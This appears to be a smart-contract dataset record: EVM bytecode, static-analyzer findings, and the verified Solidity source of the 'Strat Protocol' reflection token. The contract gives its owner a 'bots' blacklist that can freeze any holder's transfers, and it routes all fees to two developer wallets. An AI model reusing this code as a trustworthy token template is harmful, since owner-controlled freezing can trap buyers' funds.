cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006113166123d3565b60008311801561133f5750600160a060020a0333166000908152600a602052604090205460ff16155b80156113645750600160a060020a0384166000908152600a602052604090205460ff16155b80156113875750600160a060020a0333166000908152600b602052604090205442115b80156113aa5750600160a060020a0384166000908152600b602052604090205442115b15156113b557600080fd5b6113be84611fe5565b156113d5576113ce848483611fed565b91506113e0565b6113ce848483612250565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114265750600160a060020a0333166000908152600a602052604090205460ff16155b801561144b5750600160a060020a0384166000908152600a602052604090205460ff16155b801561146e5750600160a060020a0333166000908152600b602052604090205442115b80156114915750600160a060020a0384166000908152600b602052604090205442115b151561149c57600080fd5b6114a584611fe5565b156114bc576114b5848484611fed565b9050610c1a565b6114b5848484612250565b60015460009033600160a060020a039081169116146114e557600080fd5b60008351116114f357600080fd5b5060005b8251811015610e875782818151811061150c57fe5b90602001906020020151600160a060020a0316151561152a57600080fd5b81600a600085848151811061153b57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157957fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114f7565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115f657600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600080600080855111801561163c575083518551145b80156116615750600160a060020a0333166000908152600a602052604090205460ff16155b80156116845750600160a060020a0333166000908152600b602052604090205442115b151561168f57600080fd5b5060009050805b84518110156117e15760008482815181106116ad57fe5b906020019060200201511180156116e157508481815181106116cb57fe5b90602001906020020151600160a060020a031615155b80156117215750600a60008683815181106116f857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117665750600b600086838151811061173857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177157600080fd5b61179b6305f5e10085838151811061178557fe5b906020019060200201519063ffffffff611fba16565b8482815181106117a757fe5b602090810290910101526117d78482815181106117c057fe5b90602001906020020151839063ffffffff611fab16565b9150600101611696565b600160a060020a0333166000908152600860205260409020548290101561180757600080fd5b5060005b84518110156111645761183d84828151811061182357fe5b90602001906020020151600860008885815181106110ae57fe5b6008600087848151811061184d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061187d57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528684815181106118b557fe5b9060200190602002015160405190815260200160405180910390a360010161180b565b6001546000908190819033600160a060020a039081169116146118fa57600080fd5b6000855111801561190c575083518551145b151561191757600080fd5b5060009050805b8451811015611b7d57600084828151811061193557fe5b90602001906020020151118015611969575084818151811061195357fe5b90602001906020020151600160a060020a031615155b80156119a95750600a600086838151811061198057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119ee5750600b60008683815181106119c057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119f957600080fd5b611a0d6305f5e10085838151811061178557fe5b848281518110611a1957fe5b60209081029091010152838181518110611a2f57fe5b9060200190602002015160086000878481518110611a4957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a7857600080fd5b611ad1848281518110611a8757fe5b9060200190602002015160086000888581518110611aa157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611f9916565b60086000878481518110611ae157fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b148482815181106117c057fe5b915033600160a060020a0316858281518110611b2c57fe5b90602001906020020151600160a060020a03166000805160206123e6833981519152868481518110611b5a57fe5b9060200190602002015160405190815260200160405180910390a360010161191e565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611fab16565b60015433600160a060020a03908116911614611bc157600080fd5b600160a060020a0381161515611bd657600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c6b5750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c905750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cb35750600160a060020a0333166000908152600b602052604090205442115b8015611cd65750600160a060020a0385166000908152600b602052604090205442115b1515611ce157600080fd5b611cea85611fe5565b15611f8357600160a060020a03331660009081526008602052604090205484901015611d1557600080fd5b600160a060020a033316600090815260086020526040902054611d3e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d73908563ffffffff611fab16565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc15780518252601f199092019160209182019101611da2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e52578082015183820152602001611e3a565b50505050905090810190601f168015611e7f5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ea357fe5b826040518082805190602001908083835b60208310611ed35780518252601f199092019160209182019101611eb4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001611f91565b611f8e858585612250565b90505b949350505050565b600082821115611fa557fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fcd57600091506113e0565b50828202828482811515611fdd57fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201557600080fd5b600160a060020a03331660009081526008602052604090205461203e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054612073908563ffffffff611fab16565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561210c5780820151838201526020016120f4565b50505050905090810190601f1680156121395780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561215957600080fd5b6102c65a03f1151561216a57600080fd5b505050826040518082805190602001908083835b6020831061219d5780518252601f19909201916020918201910161217e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227657600080fd5b600160a060020a03331660009081526008602052604090205461229f908463ffffffff611f9916565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122d4908463ffffffff611fab16565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123215780518252601f199092019160209182019101612302565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123e68339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f68849941f759140c7db5812300741e8df4f4221df9abab7166e80513dca1f990029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,370
0x47120475962b29d63b921f50a2d19fa6f57496a7
/** *Submitted for verification at Etherscan.io on 2022-01-16 */ /* Leverage your yield through us. https://www.StratProtocol.com https://t.me/StratProtocolCrypto https://twitter.com/strat_protocol */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract StratProtocol is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Strat Protocol"; string private constant _symbol = "STRAT"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 10; uint256 private _redisfee = 0; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _DevAddress; address payable private _DevAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _DevAddress = addr1; _DevAddress2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_DevAddress] = true; _isExcludedFromFee[_DevAddress2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 10; _redisfee = 0; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DevAddress.transfer(amount.div(2)); _DevAddress2.transfer(amount.div(2)); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function removeStrictTxLimit(uint256 maxTxpc) external { require(_msgSender() == _DevAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function manualswap() external { require(_msgSender() == _DevAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _DevAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063bc337182146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780633512fde0146102485780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612eba565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906129e4565b610492565b6040516101839190612e9f565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae919061303c565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612991565b6104c0565b6040516101eb9190612e9f565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906128f7565b610599565b005b34801561022957600080fd5b50610232610689565b60405161023f91906130b1565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612ac7565b610692565b005b34801561027d57600080fd5b5061029860048036038101906102939190612a6d565b610771565b005b3480156102a657600080fd5b506102af610823565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906128f7565b610895565b6040516102e5919061303c565b60405180910390f35b3480156102fa57600080fd5b506103036108e6565b005b34801561031157600080fd5b5061031a610a39565b6040516103279190612dd1565b60405180910390f35b34801561033c57600080fd5b50610345610a62565b6040516103529190612eba565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906129e4565b610a9f565b60405161038f9190612e9f565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612a24565b610abd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612ac7565b610be7565b005b3480156103f657600080fd5b506103ff610c86565b005b34801561040d57600080fd5b50610416610d00565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612951565b61125a565b60405161044c919061303c565b60405180910390f35b60606040518060400160405280600e81526020017f53747261742050726f746f636f6c000000000000000000000000000000000000815250905090565b60006104a661049f6112e1565b84846112e9565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104cd8484846114b4565b61058e846104d96112e1565b6105898560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061053f6112e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c739092919063ffffffff16565b6112e9565b600190509392505050565b6105a16112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590612f7c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d36112e1565b73ffffffffffffffffffffffffffffffffffffffff16146106f357600080fd5b6000811161070057600080fd5b61072f61271061072183670de0b6b3a7640000611cd790919063ffffffff16565b611d5290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610766919061303c565b60405180910390a150565b6107796112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fd90612f7c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108646112e1565b73ffffffffffffffffffffffffffffffffffffffff161461088457600080fd5b600047905061089281611d9c565b50565b60006108df600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e97565b9050919050565b6108ee6112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097290612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5354524154000000000000000000000000000000000000000000000000000000815250905090565b6000610ab3610aac6112e1565b84846114b4565b6001905092915050565b610ac56112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4990612f7c565b60405180910390fd5b60005b8151811015610be3576001600a6000848481518110610b7757610b766133f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bdb90613352565b915050610b55565b5050565b610bef6112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7390612f7c565b60405180910390fd5b8060108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc76112e1565b73ffffffffffffffffffffffffffffffffffffffff1614610ce757600080fd5b6000610cf230610895565b9050610cfd81611f05565b50565b610d086112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90612f7c565b60405180910390fd5b600f60149054906101000a900460ff1615610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612ffc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e7430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610eba57600080fd5b505afa158015610ece573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef29190612924565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5457600080fd5b505afa158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c9190612924565b6040518363ffffffff1660e01b8152600401610fa9929190612dec565b602060405180830381600087803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190612924565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061108430610895565b60008061108f610a39565b426040518863ffffffff1660e01b81526004016110b196959493929190612e3e565b6060604051808303818588803b1580156110ca57600080fd5b505af11580156110de573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111039190612af4565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611204929190612e15565b602060405180830381600087803b15801561121e57600080fd5b505af1158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612a9a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612fdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c090612f1c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114a7919061303c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612edc565b60405180910390fd5b600081116115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce90612f9c565b60405180910390fd5b6115df610a39565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164d575061161d610a39565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bb057600f60179054906101000a900460ff1615611880573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116cf57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117835750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c96112e1565b73ffffffffffffffffffffffffffffffffffffffff16148061183f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118276112e1565b73ffffffffffffffffffffffffffffffffffffffff16145b61187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759061301c565b60405180910390fd5b5b5b60105481111561188f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff